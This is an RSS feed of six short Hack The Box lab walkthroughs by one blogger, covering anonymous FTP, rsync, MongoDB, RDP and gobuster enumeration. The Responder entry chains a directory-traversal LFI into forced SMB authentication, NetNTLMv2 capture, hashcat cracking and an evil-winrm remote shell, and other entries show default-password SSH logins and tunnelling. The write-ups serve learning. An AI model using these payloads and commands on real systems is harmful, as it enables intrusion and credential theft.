<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jung</title>
    <description>The latest articles on DEV Community by Jung (@zkrnvkf).</description>
    <link>https://dev.to/zkrnvkf</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3575358%2F874c744a-5cef-4de1-9983-de5d614e35ac.jpg</url>
      <title>DEV Community: Jung</title>
      <link>https://dev.to/zkrnvkf</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/zkrnvkf"/>
    <language>en</language>
    <item>
      <title>HTB - Funnel</title>
      <dc:creator>Jung</dc:creator>
      <pubDate>Tue, 08 Sep 2026 22:58:23 +0000</pubDate>
      <link>https://dev.to/zkrnvkf/htb-funnel-4bmn</link>
      <guid>https://dev.to/zkrnvkf/htb-funnel-4bmn</guid>
      <description>&lt;p&gt;OS: Linux&lt;br&gt;
Difficulty: Very Easy&lt;/p&gt;

&lt;p&gt;After doing nmap enumeration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.243
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds was 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Obtained 2 open ports for &lt;strong&gt;ftp&lt;/strong&gt; and &lt;strong&gt;ssh&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anonymous FTP login allowed (FTP code 230)&lt;/strong&gt; -&amp;gt; This indicates that the FTP server on the target machine allows anonymous FTP login, so I thought I could try connecting to it as the anonymous user.&lt;/p&gt;

&lt;p&gt;For anonymous login credentials:&lt;br&gt;
Username: anonymous&lt;br&gt;
Password: anonymous&lt;/p&gt;

&lt;p&gt;After connecting via FTP, I found two files: 1 PDF containing the password policy and 1 welcome text file -&amp;gt; Downloaded both of them using the &lt;strong&gt;get&lt;/strong&gt; command.&lt;/p&gt;

&lt;p&gt;Within the passwordpolicy.pdf:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh5je3cjvjcaw7w4f4kip.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh5je3cjvjcaw7w4f4kip.png" alt=" " width="670" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I found that the default password for new accounts is &lt;strong&gt;funnel123#!#&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I figured that the welcome text message would contain the names of people who had recently joined the company, and I was right:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0juhyfgp4kcos53q2fkp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0juhyfgp4kcos53q2fkp.png" alt=" " width="798" height="103"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since I knew:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;the default password&lt;/li&gt;
&lt;li&gt;the names of the newly joined people&lt;/li&gt;
&lt;li&gt;the SSH port was open&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Maybe there could be a user who had not changed their default password, so I tried to SSH into the target machine using the names and the default password. I ultimately found out that Christine had not changed her default password and was able to get an SSH connection.&lt;/p&gt;

&lt;p&gt;I used the hint from HTB to use the command &lt;code&gt;ss -tl&lt;/code&gt;, which means &lt;strong&gt;"Show me all TCP ports on this machine that are listening for incoming connections."&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fit8wuc0mje0par49b5v7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fit8wuc0mje0par49b5v7.png" alt=" " width="800" height="115"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From here, I found that there was a PostgreSQL service running locally on the target machine (127.0.0.1:5432).&lt;/p&gt;

&lt;p&gt;Since I was connected as Christine, I immediately ran the command &lt;code&gt;psql -h 127.0.0.1 -p 5432&lt;/code&gt;, but it failed because &lt;strong&gt;psql&lt;/strong&gt; was not installed. I couldn't install it manually either since it required sudo access, and I didn't know the root password.&lt;/p&gt;

&lt;p&gt;I got stuck and had to rely on the hint, where I learned about SSH tunneling and port forwarding.&lt;/p&gt;

&lt;p&gt;I learned about &lt;strong&gt;Local Port Forwarding&lt;/strong&gt;, and if I were to phrase it in my own words -&amp;gt; If I talk to port 5555 on my Kali machine while connected to the target machine, forward that traffic to port 5432 running on the target machine.&lt;/p&gt;

&lt;p&gt;The vice versa would be &lt;strong&gt;Remote Port Forwarding&lt;/strong&gt;, and we use it when the target remote machine sends traffic to its local port and we want that traffic to reach our local machine instead.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1k36cqc8ces0sazfxhbw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1k36cqc8ces0sazfxhbw.png" alt=" " width="800" height="552"&gt;&lt;/a&gt;&lt;br&gt;
&lt;code&gt;ssh -L 5555:127.0.0.1 christine@10.129.160.250&lt;/code&gt;&lt;br&gt;
So what this command is doing, the mental model would be: &lt;strong&gt;"Open a port on MY machine and forward anything arriving there through SSH to a port on the remote machine."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To put it simply, the SSH connection is giving us a pathway for network traffic generated within our Kali machine to reach the target machine.&lt;/p&gt;

&lt;p&gt;So now we can run the following command on our Kali machine: &lt;code&gt;psql -h 127.0.0.1 -U christine -p 5555&lt;/code&gt; -&amp;gt; "i want to connect to postgresql database running in my kali machine on port 5555" but this connection network traffic actually gets forwarded to the 127.0.0.1:5432 on funnel machine instead due to pre-configured ssh tunnel"&lt;/p&gt;

&lt;p&gt;Once we get connected to the PostgreSQL database as Christine, we can navigate through the database and get the flag.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6dwdtjoalirbx4xctave.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6dwdtjoalirbx4xctave.png" alt=" " width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>linux</category>
      <category>security</category>
    </item>
    <item>
      <title>HTB - Synced</title>
      <dc:creator>Jung</dc:creator>
      <pubDate>Tue, 08 Sep 2026 22:58:09 +0000</pubDate>
      <link>https://dev.to/zkrnvkf/htb-synced-2ieb</link>
      <guid>https://dev.to/zkrnvkf/htb-synced-2ieb</guid>
      <description>&lt;p&gt;OS: Linux&lt;br&gt;
Difficulty: Very Easy&lt;/p&gt;

&lt;p&gt;After nmap enumeration, we will find:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;rsync is a tool for copying and synchronizing files between machines.&lt;/p&gt;

&lt;p&gt;We can make use of &lt;strong&gt;rsync&lt;/strong&gt; command to get access to files within the exposed share/module. In this machine, there is a flag.txt within the module called public&lt;/p&gt;

&lt;p&gt;For command syntax and options available for rsync can be found in &lt;code&gt;rsync --help&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;What I did was to download the flag.txt on my own kali machine via:&lt;br&gt;
&lt;code&gt;rsync -a -v  rsync://10.129.160.164:873/public/flag.txt ./&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and read the flag&lt;/p&gt;

&lt;p&gt;I got to learn that port 873 is commonly associated with the rsync service, and if an rsync share allows anonymous access, we may be able to enumerate and access files stored on the target server.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>security</category>
    </item>
    <item>
      <title>HTB - Mongod</title>
      <dc:creator>Jung</dc:creator>
      <pubDate>Tue, 08 Sep 2026 22:57:57 +0000</pubDate>
      <link>https://dev.to/zkrnvkf/htb-mongod-4c37</link>
      <guid>https://dev.to/zkrnvkf/htb-mongod-4c37</guid>
      <description>&lt;p&gt;OS: Linux&lt;br&gt;
Difficulty: Very Easy&lt;/p&gt;

&lt;p&gt;After doing nmap enumeration, we will see one TCP port 27017 which refers to MongoDB&lt;/p&gt;

&lt;p&gt;Whenever we see such port open, we can try to connect to it and access the database via &lt;code&gt;mongosh&lt;/code&gt; aka MongoDB Shell&lt;/p&gt;

&lt;p&gt;You can download MongoDB Shell here:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgj191vhognncuqf4479w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgj191vhognncuqf4479w.png" alt=" " width="800" height="392"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unzip it&lt;br&gt;
&lt;code&gt;dpkg-deb -x mongodb-mongosh_2.10.0_amd64.deb --extract &amp;lt;directory that you want&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Go to the &lt;strong&gt;bin&lt;/strong&gt; folder and execute the mongo shell command&lt;br&gt;
&lt;code&gt;./mongosh mongodb://10.129.228.30:27017&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For syntax, you can check in &lt;code&gt;mongosh --help&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once connected, you can interact with following commands:&lt;br&gt;
&lt;code&gt;show dbs&lt;/code&gt; -&amp;gt; Show all databases&lt;br&gt;
&lt;code&gt;use &amp;lt;dbs name&amp;gt;&lt;/code&gt; -&amp;gt; Choose database&lt;br&gt;
&lt;code&gt;show collections&lt;/code&gt; -&amp;gt; Show all collections in the chosen database&lt;br&gt;
&lt;code&gt;db.&amp;lt;collection&amp;gt;.find()&lt;/code&gt; -&amp;gt; Dump the content of all the documents within the collection named&lt;/p&gt;

&lt;p&gt;to find the flag&lt;/p&gt;

&lt;p&gt;We get to learn how to identify MongoDB service as well as connecting to the database from this machine&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>database</category>
      <category>linux</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>HTB - Responder</title>
      <dc:creator>Jung</dc:creator>
      <pubDate>Tue, 08 Sep 2026 22:57:46 +0000</pubDate>
      <link>https://dev.to/zkrnvkf/htb-responder-5e5o</link>
      <guid>https://dev.to/zkrnvkf/htb-responder-5e5o</guid>
      <description>&lt;p&gt;OS: Windows&lt;br&gt;
Difficulty: Very Easy&lt;/p&gt;

&lt;p&gt;As usual, I started by enumerating the target’s open ports and services.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nmap -p- --min-rate 1000 -sV &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The scan revealed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;80/tcp    open    http
5985/tcp  open    wsman
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 80 indicated a web server, while port 5985 indicated WinRM (Windows Remote Management).&lt;/p&gt;

&lt;p&gt;While exploring the website, I noticed that the language selection changed the URL to something similar to:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/index.php?page=french.html&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The page parameter immediately stood out because it appeared to control which file the application loaded.&lt;/p&gt;

&lt;p&gt;This led me to test whether the parameter was vulnerable to Local File Inclusion (LFI).&lt;/p&gt;

&lt;p&gt;I did not know so I had to search google and AI but a common way of testing for LFI is attempting to access a known file on the target system using directory traversal:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;../../../../../../../../windows/system32/drivers/etc/hosts&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The resulting request looked like:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The contents of the Windows hosts file were returned, confirming that the application was vulnerable to LFI.&lt;/p&gt;

&lt;p&gt;Hence, whenever I see a parameter that appears to accept a filename or path, such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?page=
?file=
?path=
?include=
?template=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;because there is always a chance where there is no proper sanitization done on the parameter, which we will be able to pass malicious input and therefore view the internal system files&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;I already had two important pieces of information:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The target was a Windows machine.&lt;/li&gt;
&lt;li&gt;We had an LFI vulnerability that allowed us to control what resource the server attempted to access.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I mean the name of the machine kind of gave it away, but I probably wouldn’t have thought of using Responder if I hadn’t learned about it through the PJPT certification course material.&lt;/p&gt;

&lt;p&gt;⸻&lt;br&gt;
The following is the section of the note I personally made while studying for PJPT exam which is very relevant to this machine:&lt;/p&gt;
&lt;h3&gt;
  
  
  Windows Assumes Every Remote Share Requires Authentication
&lt;/h3&gt;

&lt;p&gt;Windows operating systems are designed around seamless single sign-on (SSO). When you type &lt;code&gt;\\&amp;lt;IP&amp;gt;&lt;/code&gt; in the File Explorer on our Desktop / Laptop or in this challenge within the URL -&amp;gt; &lt;code&gt;http://unika.htb?page=\\&amp;lt;ip of attacker machine&amp;gt;/somefile&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Windows treats that IP address as a remote Windows File Server.&lt;/li&gt;
&lt;li&gt;Windows assumes, &lt;strong&gt;"To show this user their network shares, I need to introduce who is currently logged in."&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;File Explorer / victim website automatically initiates an SMB session on port 445 and sends an authentication request in the background—&lt;strong&gt;before it even checks whether the remote folder exists or allows anonymous access.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  File Explorer Can't Use Kerberos on IP Addresses
&lt;/h3&gt;

&lt;p&gt;In an Active Directory domain, Kerberos is the default authentication protocol. However, Kerberos &lt;strong&gt;requires a domain name (FQDN)&lt;/strong&gt; to look up Service Principal Names (SPNs) in Active Directory (e.g., &lt;code&gt;\\fileserver.marvel.local&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Because we typed an &lt;strong&gt;IP address&lt;/strong&gt; &lt;code&gt;\\192.168.76.133/somefile&lt;/code&gt; instead of a domain name:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Windows cannot issue a Kerberos ticket for an raw IP.&lt;/li&gt;
&lt;li&gt;Windows automatically &lt;strong&gt;falls back to NTLM authentication&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;⸻&lt;/p&gt;
&lt;h3&gt;
  
  
  Responder Pretended to Be an SMB Server
&lt;/h3&gt;

&lt;p&gt;Your Kali machine wasn't passively sniffing traffic—&lt;strong&gt;Responder was running a fake SMB server listening on port 445&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When the victim machine reached out to your IP asking to connect, Responder acted like a compliant SMB server:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Victim:&lt;/strong&gt; &lt;em&gt;"Hi 192.168.76.133, I want to access your shares as &lt;code&gt;MARVEL\fcastle&lt;/code&gt;."&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Responder:&lt;/strong&gt; &lt;em&gt;"Sure! Prove it's really you. Here is a random challenge code (&lt;code&gt;5fd0a679742e7eba&lt;/code&gt;). Encrypt this code with your password hash and send it back."&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Victim:&lt;/strong&gt; Encrypts the challenge using &lt;code&gt;fcastle&lt;/code&gt;'s password hash and sends the response back to Kali.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Responder took that encrypted response, logged it to your terminal as a NetNTLMv2 hash, and dropped the connection.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F782utvk96tqqmvik2o1c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F782utvk96tqqmvik2o1c.png" alt=" " width="799" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Copy the NTLMv2 Hash into a text file and use &lt;strong&gt;hashcat&lt;/strong&gt; to try cracking the password because there is a chance where a weak password has been used. There are other alternatives such as John the Ripper&lt;br&gt;
&lt;code&gt;hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-m&lt;/code&gt; refers to mode and &lt;code&gt;5600&lt;/code&gt; corresponds to the &lt;code&gt;NTLMv2&lt;/code&gt;. For other modes we can discover them via &lt;code&gt;hashcat --help&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;hashcat will then crack the password if there is a match (you can use --show option to show the previously cracked result without having to crack again if you lost the result in the terminal)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnwaykp46gu02l9vzp34s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnwaykp46gu02l9vzp34s.png" alt=" " width="800" height="190"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But I think the actual password for this machine was &lt;strong&gt;badminton&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;WinRM&lt;/p&gt;

&lt;p&gt;The original Nmap scan also showed:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;5985/tcp open wsman&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I learned that this is the default HTTP port commonly used by Windows Remote Management (WinRM).&lt;/p&gt;

&lt;p&gt;Once we recovered valid credentials, we could use them to authenticate to WinRM.&lt;/p&gt;

&lt;p&gt;I did not know the command so I had to use AI to search up for this part. A common tool for interacting with WinRM from Linux is Evil-WinRM:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;evil-winrm -i &amp;lt;IP&amp;gt; -u administrator -p &amp;lt;password&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In this case:&lt;/p&gt;

&lt;p&gt;evil-winrm -i  -u administrator -p badminton&lt;/p&gt;

&lt;p&gt;This provided a remote shell on the Windows machine and finally retrieve the flag&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Looking back, the complete chain was:&lt;/p&gt;

&lt;p&gt;Nmap&lt;br&gt;
 ↓&lt;br&gt;
Discover HTTP + WinRM&lt;br&gt;
 ↓&lt;br&gt;
Enumerate website&lt;br&gt;
 ↓&lt;br&gt;
Discover name-based virtual host&lt;br&gt;
 ↓&lt;br&gt;
Discover &lt;code&gt;page&lt;/code&gt; parameter&lt;br&gt;
 ↓&lt;br&gt;
Identify LFI&lt;br&gt;
 ↓&lt;br&gt;
Understand Windows SMB authentication&lt;br&gt;
 ↓&lt;br&gt;
Use LFI to trigger SMB connection&lt;br&gt;
 ↓&lt;br&gt;
Responder captures NetNTLMv2&lt;br&gt;
 ↓&lt;br&gt;
Hashcat cracks the password&lt;br&gt;
 ↓&lt;br&gt;
Recovered Administrator credentials&lt;br&gt;
 ↓&lt;br&gt;
Connect through WinRM&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Key Takeaways&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Don’t stop at the obvious vulnerability&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Finding LFI doesn’t necessarily mean the end goal is simply reading /etc/passwd or the Windows hosts file.&lt;/p&gt;

&lt;p&gt;Ask:&lt;/p&gt;

&lt;p&gt;What else can I make the vulnerable application access?&lt;/p&gt;

&lt;p&gt;Understanding the underlying system can reveal completely different attack paths.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pay attention to the operating system&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Knowing that the target is Windows changed the direction of the attack.&lt;/p&gt;

&lt;p&gt;Windows introduced concepts such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* SMB
* NTLM
* NetNTLMv2
* WinRM
* Active Directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the same vulnerability on a Linux target could potentially lead to a very different attack chain.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open ports tell you about possible future attack paths&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The initial scan showed both:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;80/tcp
5985/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first, WinRM wasn’t immediately useful because we didn’t have credentials.&lt;/p&gt;

&lt;p&gt;After obtaining the Administrator password, however, that previously discovered service became the way to obtain a remote shell.&lt;/p&gt;

&lt;p&gt;This reinforced the importance of keeping track of all discovered services, even if they aren’t immediately exploitable.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;/p&gt;

&lt;p&gt;The biggest lesson from this machine was the importance of connecting concepts together.&lt;/p&gt;

&lt;p&gt;A web vulnerability, Windows SMB authentication, NTLM, Responder, password cracking, and WinRM might initially look like completely separate topics.&lt;/p&gt;

&lt;p&gt;But during an actual assessment, they can form one continuous attack chain:&lt;/p&gt;

&lt;p&gt;Web vulnerability → Windows authentication → credential capture → credential recovery → remote access&lt;/p&gt;

&lt;p&gt;That’s the kind of pattern I want to focus on documenting here—not just how to solve a particular machine, but how the pieces fit together and what I can carry forward to the next one.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
    </item>
    <item>
      <title>HTB - Preignition</title>
      <dc:creator>Jung</dc:creator>
      <pubDate>Tue, 08 Sep 2026 22:57:34 +0000</pubDate>
      <link>https://dev.to/zkrnvkf/htb-preignition-517f</link>
      <guid>https://dev.to/zkrnvkf/htb-preignition-517f</guid>
      <description>&lt;p&gt;OS: Linux&lt;br&gt;
Difficulty: Very Easy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3f8luo7ayzhl40f8jy89.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3f8luo7ayzhl40f8jy89.png" alt=" " width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When we find an open TCP port 80, it is worth enumerating the web server for hidden directories and files. These may expose useful endpoints such as /admin, login pages, configuration files, or other functionality that is not immediately visible from the main page.&lt;/p&gt;

&lt;p&gt;One way to perform directory enumeration is with Gobuster.&lt;br&gt;
'gobuster dir -u http:// -w  -x '&lt;/p&gt;

&lt;p&gt;Directory and file enumeration can reveal additional attack surface that is not linked or exposed directly from the main page.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>linux</category>
      <category>security</category>
    </item>
    <item>
      <title>HTB - Explosion</title>
      <dc:creator>Jung</dc:creator>
      <pubDate>Sun, 06 Sep 2026 21:35:53 +0000</pubDate>
      <link>https://dev.to/zkrnvkf/htb-explosion-1fa6</link>
      <guid>https://dev.to/zkrnvkf/htb-explosion-1fa6</guid>
      <description>&lt;p&gt;OS: Windows&lt;br&gt;
Difficulty: Very Easy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzn1xg2arx6kny1n2z8wp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzn1xg2arx6kny1n2z8wp.png" alt=" " width="557" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When we see a TCP port 3389 is open, trying &lt;strong&gt;xfreerdp&lt;/strong&gt; is a reasonable next step&lt;/p&gt;

&lt;p&gt;One example of command is:&lt;br&gt;
&lt;code&gt;xfreerdp /v:&amp;lt;ip&amp;gt; /u:&amp;lt;username&amp;gt; /p:&amp;lt;password&amp;gt; /cert:ignore&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For this machine, the creator purposely made the password blank so we could log in using Administrator account but usually this is not the case. However, it was my first time coming across &lt;code&gt;xfreerdp&lt;/code&gt; command so it was a still good learning&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
